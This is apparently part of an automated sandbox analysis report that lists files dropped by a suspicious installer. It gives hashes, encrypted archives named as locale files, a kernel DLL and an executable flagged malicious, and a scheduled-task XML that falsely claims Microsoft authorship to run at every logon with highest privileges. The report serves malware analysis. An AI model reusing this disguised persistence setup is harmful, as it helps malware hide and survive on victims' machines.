                                        Entropy (8bit):7.99637651774541
                                        Encrypted:true
                                        SSDEEP:1536:QldiGQrAFpix02EAnKbWAjZSNFZaNkbVkZ:KdQSpixn0jZ8aNk2Z
                                        MD5:62408EF6D7BE391AF06FF367F7903B35
                                        SHA1:D2E8544834EAA45092C21ABDD35397F53A61BDF8
                                        SHA-256:583A6E6D26FD9D7D6975B554AC5D2CCD40CE043165DA10496BD816FD90A67BE3
                                        SHA-512:F7D4C73D4D2E6D77E1B7CAE1BB3D1BB5728EEDAD93F285B5CE4269F05D0BD18CD4D2A6B8E787BA4C4B68895829AB52794B76A75397FC9932675C4C27424FCB53
                                        Malicious:false
                                        Preview:.@S....K9..| ................W>.L.R.ap...-..E.t.r.p..k.....Kb.....G....3...93.....Q.FaG3..!K.ml=..AF?Q6.r....Hn]".;.....W....x.,...3-c..5.......Q.nU....F.D^z..........S.....e3....{.......K>........$r7.!...X..LL..L...(..h.._...`o<..;%3F.k.....).H........l..e..V=lp........3......"h...{..`@..b......T...2....../E.Jb....v..)...... .....a...zY.....+...A`../>....$....l.........}Y...h%6\..p.`((n.R...K...?2.Y..=..+..D.9.~.m23.6.-N2..6v..*........-G~23.W..!v .....y.X..hG".iw.;....TD....Z_Z. ..-..w$G....M.L......Nj..8......i.w.M.........4'UR.......@_L...6...@.%Y|5c...xX..4^.V...I..........]W. C...|..P.aka)B....R...N..=3z......^s..b[l.....d.7./...|....[}..vl....B..)U.o.......cIc`%..N5....^.q.46..IB(...5k....r`].W.i~.W.....&5..p(.....y%i....[.!..../.mU.h.H.=.....h....L^...9J~..d..}..L...u..8?.5...3l.u&.....>U......c=...4.|.YAI.J...G...7..l...ZZ.....P...4`.........q.....}#F.V.3V.....X....1.....c^.....na.P...f.XnT...I..S...:bH..".......%.k..{.v..:{M.-.(

                                        C:\Program Files (x86)\Windows NT\locale.dat

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:7-zip archive data, version 0.4
                                        Category:dropped
                                        Size (bytes):56530
                                        Entropy (8bit):7.996376517745408
                                        Encrypted:true
                                        SSDEEP:768:5F38jWqODNfje3cm9SMYiRa8kvZLchG+VW2RmGoK8zgz/u2mf+gADbRfbfVx1T5L:nsjwdjex/YAa8kRSKgJdz/ugbRfbpeo
                                        MD5:3EE722D929C33891B48311FA072C2F9A
                                        SHA1:9FB8341A371FAAEC12868477C69DF5604733784A
                                        SHA-256:7CEB7F0967524EE351171162B79AD283D435BD0EDCE411FBFCE1B29421A4EB54
                                        SHA-512:6B4046540AE9B20699E0F8BE89558F52226F7297DAFB8810DF7812CD5429164C7AC8B689F51FDA3BE4EE374D5D86BCE0CAD9D1062066AB2C0FA577ACE5604B76
                                        Malicious:false
                                        Preview:7z..'......M........2............."...zI.r?.......pJ..8._...W.v-.9..8r{..J$M....h.`W.I.....6.....~m....8..WI5....c.jE.J4.6O+.+.[.B[|..?B?.&fu...'3.5..]CO .3....<T.+)..pN..6@..u`+.... H..D"....}..J.y...D0..m.j...z...%.a.a...*.|_.l..........9.wN.Mv....&:.iD.8[.bf.j.....j.(-1K....K~....O|...N...u..~..7s....C..d.js].=..U.S".Y...rD\7:j.].[....&,..u.LX`.s3.lJ..!.NR.Jv.G.:.....`@.Z.Z...`.......2...%qW..D.@..*..f.1.S.6......U..F2...n.c&...`qk....d.J....M....%...s.........XyW..)hq.....<..\0.]=..O.v2......}......a..~Zr1...V.C....~6.......+.b..;.q...bWy.R*...........j.x.0.RY...f@.j.....S....Y...;$S.<.......1..3..(1L..@.6#.R..zu......oT..L.d...E..:`.O..b..d1...[N.).i`.c........+......T.s.Q..]......`.G23..d....V.Whk.J..@(..Gjl2v ..SZPg.0...Ts....i......Y.w>.j|*:...t.L..o..i.^N.GEo.K...-`.V.K...Jjrpp.....f....a...1O...G..|{...;s..W....p....(.f......(...4ts(....[o..c....$-.@..*.MOB...[..e..s.`,....~..\...z...>...e..v]#...j.)9.1,q.'.A.K.I.E.....>...

                                        C:\Program Files (x86)\Windows NT\locale2.bin

                                        Download File
                                        Process:C:\Program Files (x86)\Windows NT\7zr.exe
                                        File Type:data
                                        Category:dropped
                                        Size (bytes):56546
                                        Entropy (8bit):7.996966859255975
                                        Encrypted:true
                                        SSDEEP:1536:crCPEbYP46GiC3q6cGOlLvjmS9UWgvy/F2QFtTVAe:iCIR913q8wjmS9bhKe
                                        MD5:CEA69F993E1CE0FB945A98BF37A66546
                                        SHA1:7114365265F041DA904574D1F5876544506F89BA
                                        SHA-256:E834D26D571776C889E2D09892C6E562EA62CD6524D8FC625E6496A1742F5DBB
                                        SHA-512:4BCBB5AD50446CD4FAD5ED3C530E29CC9DD7DDCB7B912D7C546AF8CCF7DA74BC1EEC397846BFB97858BABC9AA46BB3F3D0434F414BBC3B15B9FDBB7BF3ED59F9
                                        Malicious:false
                                        Preview:.@S....c...l ...............3...Q...R]..u&.(..c...o.A..q?oIS.j..O[..o..&....L)......Rm.jC,./....-=...Z.;..7..tH..f...n#.7.P#..#o..D..y....m........zH.!...M.|......Vs.^.Rb.X`....y.T.Sg....T.....E.?/.H.;h.)P.#.pz.LOG$..."L(.....?.D*.6g.J!.>.....f.....J..B..q...;w]9.v...V...$....L/m.H#..]...G....QQ..'.z.!NW~..R..y....E.)....m.k%....+....>....02../..M....b.l..f7..f?-~_..E.5.~....*.'....8?.n........x...#....9.........q.q.n...\....D.Uv9.9...P.j7P~q9[BV...>C..[F..k-UL(jfT..\..{d.v;.5.e.fb.3^+...Z|]S3G...$..H=.W..c...B...).v.D!...s...+.K...~=..l.2...X.m.-....m0.....p...>...d......e.J..gUr*4....vw.........T.cQ......\...]...Z{..q..n..'Ql.$..V.U9..j 4...9<..6i.....5.F.).k.LQ4.H...2..p.*.bQJ..4.K'C...#.%"q.u../zoXL...L...........'..g11=E.....y.8...~.Oe..X....u.M8.T.....Qq.m.........i....F.4e.([Hm.*...E....2........s. *R..{."4.x.]...-.....xQ@.z.......Bz.).[..C...T..".....q............M.X..CQ..A..........d...`S.3...e.X.....u.>.!..;k...>..

                                        C:\Program Files (x86)\Windows NT\locale2.dat

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:7-zip archive data, version 0.4
                                        Category:dropped
                                        Size (bytes):56546
                                        Entropy (8bit):7.996966859255979
                                        Encrypted:true
                                        SSDEEP:1536:cWsX30GkPK2rw7bphKKdxDBxjqtalDFMflaX4:cZXhkPhr+TRJqtaK
                                        MD5:4CB8B7E557C80FC7B014133AB834A042
                                        SHA1:C42E2C861FF3ED0E6A11824E12F67A344E8F783D
                                        SHA-256:3EC6A665E7861DC29A393D00EAA00989112E85C6F1B9643CA6C39578AD772084
                                        SHA-512:A88E78258F7DB4AECD02F164E6A3AFCF39788E30202CF596F9858092027DDB2FDB66D751013A7ABA5201BFAFF9F2D552D345AFE21C8E1D1425ABBC606028C2E6
                                        Malicious:false
                                        Preview:7z..'....O; ........2.......D.X..Z.2..7nf..R..s# s..v.f.....%G..>..9..Jh.-j.r..q.2.=v..Q.....SW7....im..|.c...&...,.s....f.h...C.g~..f.7=9...,...sd....iD......cR.^...$..<....nd...S.O..E)0..SQ.AA.C..$.D.|. a.:..5.....b.....2......W.....Z.pS.b/.F.;|`...O/....@.......4.".b.(...4...,..h/.K$..r!...."..`.S...D?.":...n..f.{C..t..,/.S.0.N..M...v...(.Yn..-.)..-...N~....}..).. .j!...1H.7?R..X.....rKi....9.i[k..+.....Br\.=.k.t8...6Lmh.../.V^K.f.......*.@MM..`...,W.......E..v.H....0.W..~....I.....w....<....X.Azl.FH..6\.a..E?=..I.q.5...s...;.,J.0..J.../.w..,..n.EkN..,j....f.y&q.C}fnY..2\......0.....N!.J..H.H0.....BJ.Q..v}=......^c.'w..#...d.T1....#...2s}N.....2.%.?. ....l.).....a<5Y.s....}...2*.#s..]0h..._G....3].....7y.}.B.6...ywE....'q.....h..?p .#..Emm2..F..| .M.Rv!.v.G....1L.Kx...T...".a6.%S0..g..7.......J.vjO.{.A....B@.c.y>}.....N.+....:.L=[....._.....Y.{....F..|.w.oX..t&[.....a\.M..2.Qe.[}L.Ch[...G.S#.$9...8<..W.d1...*PH.`.....4.A.......?..g.

                                        C:\Program Files (x86)\Windows NT\locale3.bin

                                        Download File
                                        Process:C:\Program Files (x86)\Windows NT\7zr.exe
                                        File Type:data
                                        Category:dropped
                                        Size (bytes):31890
                                        Entropy (8bit):7.99402458740637
                                        Encrypted:true
                                        SSDEEP:768:rzwmoD5r754TWCxhazPt9GNgRYpSj3PsQ4yVb595nQ/:vwmolXaT9abVzP1TC
                                        MD5:8622FC7228777F64A47BD6C61478ADD9
                                        SHA1:9A7C15F341835F83C96DA804DC1E21FDA696BB56
                                        SHA-256:4E5C193D58B43630E16B6E86C7E4382B26C9A812D6D28905DD39BC7155FEBEE1
                                        SHA-512:71F31079B6C3CE72BC7238560B2CBD012A0285B6A5AC162B18EAE61A059DD3B8DBCF465225E1FB099A1E23ED7BDDF0AAE4ED7C337A10DC20E0FEEC4BC73C5441
                                        Malicious:false
                                        Preview:.@S......................xi.\ .~.#..:}..fy?koGL^|kH.G...........x....Tg.Y.t....~^..".L.41.....R..|.....R...C.m(.M&...q.v.$..i..U.....).PY.......O.....~..p.u.Y.......{...5^q.|a.]..@DP".`Rz}...|N.uSW.......^..o...U..z...3...bH........p.......Y`..b.t.x.F^i.<.%.r.o..?w.Z..M.fI.!.a...Zsb.+.y..W...n.....;...........|.{.@Q.....#".M...4.A).#;..r...>E..]w{.-....B...........v..`...S...sY....h.Sa)...r.3.U;n8wXq.x...@^z...%8H.Zd._..f~.....u[..q$..%......C..../].rS.....".=..<o.<S....-^"..iIX..r...D.......k.P.e...U..n.]^p..pal....E.c..+..Gc..U?s.R...p...:>..v..o2..B.Hn..q...F..3.o...%.......C......*.V..|..2.J..i.r....|;T.C6).......a..~"K....Y.....]3.{{..N...X>.1.....:?....,..T+=s...............so.;....&....Q.\K..b............k,..#l...Yb...VE.g.3v.$'.H3......w.....{f..e.....PS.tQ..*.8a....5w....\8%..c.;......q.j.t0/.8s..(9....... .S...0.o.o......f*..]....U..>N....Kc/..ka.I"O-O.!./..S".IN .....%G...........x%..ZL`Sq.;.}w.`..k.....F.........Tp..}..?t..

                                        C:\Program Files (x86)\Windows NT\locale3.dat

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:7-zip archive data, version 0.4
                                        Category:dropped
                                        Size (bytes):31890
                                        Entropy (8bit):7.99402458740637
                                        Encrypted:true
                                        SSDEEP:768:jh43RfBLJT55mgLMoqX3gX/i69sXCuWegxJr8qF88M:qhj+I7qCKNSegPnFM
                                        MD5:CE6034AFC63BB42F4E0D6CD897DFBCB8
                                        SHA1:49E6E67EB36FE2CCAA42234A1DBB17AA2B1C7CC0
                                        SHA-256:7B7EB1D44ED88E7C19A19CEDAA25855F6800B87EC7E76873F3EA4D6A65DAA25F
                                        SHA-512:7801FA33C19D6504FF2D84453F4BB810FD579CB0C8772871F7CC53E90B835114D0221224A1743C0F5AAE76C658807CC9B4EC3BEC2CAD4AB8C3FD03203DAA7CF0
                                        Malicious:false
                                        Preview:7z..'....oYU@|......2.........Z....f..t.#.............tb.7E..Jo.........b.I=.Y..6(..=....^..>i.^E.."q.$&8....N...p+.p. .P.z6.b,.8kdD......'...G.R.n.&5..C..H.E..So!T^n{.a#d....z.SB........Nb.........LO+B ...iV..HH.Cc*.o@|.....Yvxb^.cW....._.........m.}.(V.i.H$....R....`.M.p......A?....._..nb..D.*RT<bUV.n].....LD.qU.....U9....]...h..y!...I....&C......g`...YahZ.q4.{.....2ZRG..f.. .M....:t .........8..Eg.....o.....h.]{..........p...M...lh.@.(R.]!B.:...b78$...b.......hc...C~....I..B<.x_OB|...<. .=NZ.....z........sjJ.....*{<..L.......^...9..^d..$d..}......#.dL'~.}....M...j.(5..@.tcVm.H..-.n...D..&....<..Z...@]./7?...[..qfW..!...v...==..d..M..om~).....C..9....c<..WUV.ed.h...]....OCt(X.H<<:.9..{5j....Nh.L.$..>..D..haP..~...............}r=!.E.ng..........9+...2.g.H3Lx.Bu....]jC...q.g.g.U.4..<........)....oo.T.c_.......X.,.@...nu......D.B(~.5....x5...............4S7B..p...Uk.0-m.VM.M@.V\.o...(......".k..w....Z.([.@.MQ.i9..."W..m...N.,.

                                        C:\Program Files (x86)\Windows NT\locale4.bin

                                        Download File
                                        Process:C:\Program Files (x86)\Windows NT\7zr.exe
                                        File Type:data
                                        Category:dropped
                                        Size (bytes):74960
                                        Entropy (8bit):7.99759370165655
                                        Encrypted:true
                                        SSDEEP:1536:x2PlxAOr0Y07RqyjjkFThaVNwDsKsNFBrFYek36pX4MDVuPFOnfIId+:QAOrf07RHjkFThaVGMLF3hNDcPFOn5s
                                        MD5:950338D50B95A25F494EE74E97B7B7A9
                                        SHA1:F56A5D6C40BC47869A6AE3BC5217D50EA3FC1643
                                        SHA-256:87A341B968B325090EF90DFB6D130ED0A1550A1EBDE65B1002E401F1F640854A
                                        SHA-512:9A6CC00276564DDE23D4CABA133223D31D9DDD06D8C5B398F234D5CE03774ED7B9C7D875543E945A5B3DB2851EC21332FE429A56744A9CC2157436400793FF83
                                        Malicious:false
                                        Preview:.@S........................F.T....r...z'I.N..].u.e.e..y.....<|r.:v.....J.i...L.Sv.....Nz..,..K.sI*./.d.p.'.R.....6eF....W{."J.Nt'.{E....mU_..qc.G..M..y.QF)..N..W.o.D!.-...A$.....Nc.(...~.5.9'..>...E..>.5n..s..W.A7..../..+..E.....v..^&.....V..H6..j..S`H.qAG.R.i^&....>@SYz.@......q.....\t=.HE...i..".u.Z.(y.m..3.0\..Wq9#.....iH7..TL.U..3,b........L...D..,..t(mS..06...[6.y....0-....f.N7..R......./..z.bEQ.r..n.CmB'..@......(...l..=.s........`.6.?..[mzl....K.5"..#*.>.~..._...A.%b..........PnI.T...?R~JL<.$V..-.U..}\..t/F..<..t....y(K..v..6"..'.!.*z.R....EJ0.d<v:.R&......x...2....;Tc..(..dW...7a.)...rq.....{"h.wbB..t)f..qj........~.XR.a/........l./.S......".%?.C.cL._.,k.n'....a./.z...{.]...<......._pFP..d..,......Q...[........3...Kq).rJ..8..I.)o...i'Q..=......(dq(.m../..%=.......r m.X|3.......b.~tA.......%+.T..E@..ce...%....,..x#...,....-....A...q.....r.+...?......L..%.c.... ..>.Iw......P...O)...$`.'..D1.r.....*..9;..R...VL.]..%j.....TM.4.....P.L...

                                        C:\Program Files (x86)\Windows NT\locale4.dat

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:7-zip archive data, version 0.4
                                        Category:dropped
                                        Size (bytes):74960
                                        Entropy (8bit):7.997593701656546
                                        Encrypted:true
                                        SSDEEP:1536:xsn0ayGU0SfvuEykcv5ZUi4Q9POZBgfmWRDOs2XwV1NN4+8wbr82nR+2R:xY0ntfvwkcv5ZwYPCBgfmW/VDS+FbrLN
                                        MD5:059BA7C31F3E227356CA5F29E4AA2508
                                        SHA1:FA3DC96A3336903ED5E6105A197A02E618E3F634
                                        SHA-256:1CBF36AFC14ECC78E133EBEC8A6EE1C93DEA85EEC472CE0FB0B57D3E093F08CC
                                        SHA-512:E2732D3E092B0A7507653A4743E1FE7A1010A20D4973C209BA7C0B2B79F02DF3CFDB4D7CE1CBFB62AA0C3D2CDE468FC2C78558DA4FF871660355E71DC77D8219
                                        Malicious:false
                                        Preview:7z..'....G8{p$......@..........0..$D.#'7..^..G.....W.K^.IC;.k...)_...S...2..x.....?(..Rj.g.......B...C..NK.B0s..L?.$..].....$r..E.]~...~K..E..3.......t..k..J......B...4.?!..6r.Qqc.5.r...\..,A.JF.J...Vb..b...M.=^.K7..e..]...X.%^3T...D.y..e2..>...k...\...S.C....')......hhV..K...z4..$d....a[.....6.&.D.:.=^.8.M[....n..i[....]..Y.4...NpkjU..;..W5.#.p.8?u....!.......u.[?.$..^.}f.A..G.N...b7.*...!!.(.....Gc..........Dg....Z.*.#.\".e.m.).t.5..r...6"....Q......fx..W......k..K7^."C.4*Z.{.^WG.....Z..P......Z....7R.....5hy...s....b.....7.V.....k.=.y.i.i......Y.......FY$.|T.5..V...E|...q.........].}bl...y.....;...q....-a..RP3..L~k....|..p_......."......rJz."..v......Z....l1.O.N...Di...O.:m.X...W.......x..}..>ktk.,.~...n-.m..`...G......$.....].lPx..<..9.m4.n...d....G...{'.a........u).R.+.....y.`.p...1@..!..b...J.W..Vt,......h...k....W.,..@Sd.<ZG......}&.R.]p(Y...o...r.4m:.J`.U..S5.iN...^!Y..hHP.B.58....JvB.K.k;...4........\.6=&erz..2..&...Z.C...h_.

                                        C:\Program Files (x86)\Windows NT\locale7.bin

                                        Download File
                                        Process:C:\Program Files (x86)\Windows NT\7zr.exe
                                        File Type:data
                                        Category:dropped
                                        Size (bytes):29730
                                        Entropy (8bit):7.994290657653607
                                        Encrypted:true
                                        SSDEEP:768:e7fyvDZi63BuPi2zBBMqUp6fJzwyQb91SPlssLK4:AfKNiG/2vMx6fJzwVb2tss7
                                        MD5:2C3E0D1FB580A8F0855355CC7D8D4F7A
                                        SHA1:177E4A0B7C4BC8ACE0F46127398808E669222515
                                        SHA-256:9818FEBDE34D7E9900EB1C7A32983CA60C676BE941E2BC1ED9FBD5A187C6F544
                                        SHA-512:B9410FC8F5BE02130D50E7389F9A334DD2F2A47694E88FBB9FB4561BD3296F894369B279546EEBB376452DF795C39D87A67C6EE84C362F47FA19CF4C79E5574E
                                        Malicious:false
                                        Preview:.@S....*z.p,..................kcn..a.^.<..=......7`....6..!`...W.,2u...K.r.1.......1...g<wkw.....q..VfaR...n.h.0b[.h.V$..7.7'd.....T.....`.....)k.....}..........bW'.t..@*.%e5....#.6.g.R.......,W....._..G.d...1..e/...e7....E.....b....#Z,#...@.J.j?....q.ZR.c.b.V....Y-.......3..&E...a.2vg$..z...M9.[......_.1U....A...L.0+3U.[)8...D........5......[..-.u...ib...[..I-....#|j..d..D.S.'.....J.`.....b..y...Iu.D.....2.r}.4....<K.%....0X..X[5.sD...Xh.(G...Z;.."..o..%.......,.y..\..M6.+,.]c..t.:.|...p%.../1%.{>..r..B..yA.......}.`.#.X....Rl`.6\~k.P8..C....V\^..2.7...... h. .>....}..u)..4..w..............^N...@.v....d.P...........IA.. G?..YJ>._La..Y.@.8N.a...BK.....x.T....u.....\x.t...~.2p.M..+.R&w.......7c!v.@..RGf.F.>^+.b=........@l.T5.:........#}.%>.-.C.[XR.TG.\..'....MH..x..Y...cL........y.>....%...:.S.W^..k.EE.5O`.6<5-kh_...."95..:p....P.jk`....b.7.Z.8Y....H(j2y..`d.q;RyZ.5$..3.;......0,......+O.....L.,..u.s....S.1o.g...l"..e.....Cy<....I.+..B@......~.0...<.

                                        C:\Program Files (x86)\Windows NT\locale7.dat

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:7-zip archive data, version 0.4
                                        Category:dropped
                                        Size (bytes):29730
                                        Entropy (8bit):7.994290657653608
                                        Encrypted:true
                                        SSDEEP:768:0AnbQm4/4qQyDC44LY4VfQ8aN/DObt1dSt3OUqZNKME:0ab6c4oY0aBDObjot+Uqu7
                                        MD5:A9C8A3E00692F79E1BA9693003F85D18
                                        SHA1:5ED62E15A8AC5D49FD29EF2A8DC05D24B2E0FC1F
                                        SHA-256:B88E3170EC6660651AF1606375F033F42D3680E4365863675D0E81866E086CC3
                                        SHA-512:8354B80622A9808606F1751A53F865C341FF2CE1581B489B50B1181DAA9B2C0A919F94137F47898A4529ECCCD96C43FCCD30BCDF6220FA4017235053AF0B477D
                                        Malicious:false
                                        Preview:7z..'....G..s......2......../.....h..f...H=...v.:..Q.I..OP.....p..qfX.M.J..).9;...sp......ns./..;w....3.<..m..M.L...k..L..h[-Dnt.*'5....M(w%...HVL..F&......a...R.........SF.2....m@X&X5.!....ER......]xm.....\.....=.q.I.}v.l#.B........:.e....b6.l.d..O......H.C..$.',.B..Q\..\.B.%...g...3?.....*.XuE.J.6`.../...W.../......b..HL?...E.V[...^.~.&..I,..xUH..2V..H..$..;.....c.6.o........g.}.u:.X....9...|Ynic.*.....ooK..>..M~yb..0W....^..J(S......Q?...#.i.1..#.._.9..2E.S7c.....{..'...j.A.p......dS]......i.!..YS...%.Q<..\.0.....FNw....e...2...$..$4..Pv.R...mv...-.b.T.)..r*..!..).n4.+.l[.N...4qN....w.B..[......<U.etA.A....SB..^y.......^0.f._.&..Z.zV.%.R.f_dz.,E..JJ..%.R.7.3m.:..;.`...AoHLHC..|..)f...C....$...E....H"x..F....wW...3"......Y.*Y.....5....,E...tn.KS...2......w\Z..1.".O.=+..A...2.....A.........k. c..../2..i!q..q...u.'.m.6.j.\.....x...S....$....*.&(.).^..f.d.g"j..#^....W.]{.C.?2Z.'X...5.._@..q.j..Xb...n{1..<.i...'r...7'.F.L\(.8

                                        C:\Program Files (x86)\Windows NT\res.dat

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:7-zip archive data, version 0.4
                                        Category:dropped
                                        Size (bytes):249968
                                        Entropy (8bit):7.9992787830174565
                                        Encrypted:true
                                        SSDEEP:6144:w9hF7VQIqW8AiYr5wInydSC8FpX3HSmdc4YRQltRMHh3XL:w3sYr5wInydSvFpX3yp4YmbWHL
                                        MD5:23244D091AC9F35046F2EFD16EAD0DFA
                                        SHA1:42183A43273BA3F42186FF0862664FE83EED4783
                                        SHA-256:E184AF0EE1919F9C2593B2FC00D7ECC2A32288B0A49D971FDA5AC6007C4CDDE0
                                        SHA-512:76A988EB016B86B3F92F82FCD688DE988D14C5502C04F35E94460ED5168787DECAC9839D86BAB85902CCA7DCB9015875C63613BB1FF007BEA3355E8CF3E2FCEE
                                        Malicious:false
                                        Preview:7z..'....Z.........@...........iG>..(.P.....@..!P.c......)E....;C\........gU..e.w1....J.....lce..).....Q...lVs..........+(..Z.P.v.r...F.q@.j...e1.d.........lL..V..{!]D.;.H.^"..0.......N...+Uo..aw./......K..|C..h..5.y...!.B;.>a+.@z...l$.H..dB.s...S.a..n...F.w...q.c.^j."...L.t.?.*.$Dz+..~rS......@.......ny.._L........^B'.J...P.EZN;h]0..M.$.x.RU.....'`.9/FU..W.,.@&...B.....Y@yX...Z..00.R.......P.&O.P!........2.r....G.LM.k...x.....C"N.w~Fj.....x.P.2)].....d.RP..D<.....h.L..,.....R..Z.q~-:b...$C....X..."u....".jq...0.......{.}v....+K.3M.?<Z~.a..........NM[...O.e.....u.P..D.=heQ.....k.......c.\$......C\.c5L.<.r.H.....iw.0...fWnu."...}...*.y.....W.q.M%.X..v..ew6...gW..j..|.]C..y..d#.?..PF.x...h |.`].g..[.....V..K.........Y..3e..l..,a.%.h1.Dx.q.......t.!h..z[..<f..P..N...H.....V(....J..Cv..I......3.......!N..I.V-.Y2J...rt..b&}..b.<.Xcu..[....z. .k.U7.,...3.w.o\.([JL..U.T.jo...e.h.:M..a.WX.x..Uu2s ......B8..1.F..FD,...H..o..}.3.V. .r.

                                        C:\Program Files (x86)\Windows NT\tProtect.dll

                                        Download File
                                        Process:C:\Program Files (x86)\Windows NT\7zr.exe
                                        File Type:PE32+ executable (native) x86-64, for MS Windows
                                        Category:dropped
                                        Size (bytes):63640
                                        Entropy (8bit):6.482810107683822
                                        Encrypted:false
                                        SSDEEP:768:4l2NchwQqrK3SBq3Xf2Zm+Oo1acHyKWkm9loSZVHT4yy5FPSFlWd/Ce34nqciC50:kgrFq3OVgUgla/4nqy5K2/zW
                                        MD5:B4EAACCE30F51EAF2A36CEA680B45A66
                                        SHA1:94493D7739C5EE7346DA31D9523404D62682B195
                                        SHA-256:15E84D040C2756B2D1B6C3F99D5A1079DC8854844D3C24D740FAFD8C668E5FB9
                                        SHA-512:16F46ABE2DD8C1A95705C397B0A5A0BC589383B60FE7C4F25503781D47160C0D68CBA0113BA918747115EF27A48AB7CA7F56CC55920F097313A2DA73343DF10B
                                        Malicious:true
                                        Antivirus:
                                        • Antivirus: ReversingLabs, Detection: 9%
                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s.[.7.5N7.5N7.5N7.4NX.5NA'NN4.5NA'HN5.5N.|XN4.5N.|HN6.5NA'XN6.5N.|DN0.5N.|IN6.5N.|MN6.5NRich7.5N........................PE..d....(gK..........".........."............................................... ..............................................................d...(........................(.......... ................................................................................text............................... ..h.rdata..............................@..H.data...............................@....pdata..............................@..HINIT................................ ....rsrc...............................@..B.reloc..0...........................@..B................................................................................................................................................................................................................

                                        C:\Program Files (x86)\Windows NT\task.xml

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:data
                                        Category:dropped
                                        Size (bytes):4096
                                        Entropy (8bit):3.3449406240731085
                                        Encrypted:false
                                        SSDEEP:48:dXKLzDlnDPLL6w0QldOVQOj933ODOiTdKbKsz72eW+5y4:dXazDlnDP6whldOVQOj6dKbKsz7
                                        MD5:1EA10B1FA76DC2F1967E53A3FC2D43C4
                                        SHA1:23EADA9D0994D5B9ADE7878493C44551C0B5CF44
                                        SHA-256:2748447EBDE83E35B8984D2993A8331DAC7B7924638502024D8531A07E74C63C
                                        SHA-512:15BF2663CEF3905AE3B13D0A4ABC2E3BBF1FF213BCA5C568641978D5548A7DBED2EC7FC5A00B330287E90DF675EFB804613D4801F6995C7748840CC0BCBA637F
                                        Malicious:false
                                        Preview:<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2005-10-11T13:21:17-08:00</Date>. <Author>Microsoft Corporation</Author>. <Version>1.0.0</Version>. <Description>Microsoft</Description>. <URI>\kafanbbs</URI>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user</UserId>. </LogonTrigger>. </Triggers>. <Principals>. <Principal id="System">. <UserId>user</UserId>. <RunLevel>HighestAvailable</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAv

                                        C:\Program Files (x86)\Windows NT\trash (copy)

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
                                        Category:dropped
                                        Size (bytes):5649408
                                        Entropy (8bit):6.392614480390128
                                        Encrypted:false
                                        SSDEEP:98304:jgRfP5jnFTyGZEWxSIBHVGT+t1ufqchZ:kRZDFTyGaHIJoWofqc
                                        MD5:8C71B86BF407C05BAF11E8D296B9C8B8
                                        SHA1:6624AB8CA883C48F02C58250D4EEE9E90098F4E4
                                        SHA-256:BE2099C214F63A3CB4954B09A0BECD6E2E34660B886D4C898D260FEBFE9D70C2
                                        SHA-512:BB3FEE727E40F8213F0A7D9808048E341295A684ECBA6F4DF52F1B07B528D7206CA41926B2433F4B63451565AD2854570FEE976BC7051B629ACD24FCA6D0F507
                                        Malicious:true
                                        Antivirus:
                                        • Antivirus: ReversingLabs, Detection: 0%
                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................&.ZF..0V..<.............@..............................V.....L.V...`... ...............................................V../...........0O..............`V.\a...........................vL.(.....................V..............................text....XF......ZF.................`..`.data....z...pF..|...^F.............@....rdata.. 9....F..:....F.............@..@.pdata.......0O.......O.............@..@.xdata........Q.......Q.............@..@.bss.....;....U..........................idata.../....V..0....U.............@....CRT....h....@V.......U.............@....tls.........PV.......U.............@....reloc..\a...`V..b....U.............@..B................................................................................................................................................................................................................

                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                        Download File
                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        File Type:data
                                        Category:dropped
                                        Size (bytes):64
                                        Entropy (8bit):1.1940658735648508
                                        Encrypted:false
                                        SSDEEP:3:NlllulVmdtZ:NllUM
                                        MD5:013016A37665E1E37F0A3576A8EC8324
                                        SHA1:260F55EC88E3C4D384658F3C18C7FDEF202E47DD
                                        SHA-256:20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
                                        SHA-512:99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
                                        Malicious:false
                                        Preview:@...e................................................@..........

                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3trkrlnv.vwo.ps1

                                        Download File
                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        File Type:ASCII text, with no line terminators
                                        Category:dropped
                                        Size (bytes):60
                                        Entropy (8bit):4.038920595031593
                                        Encrypted:false
                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
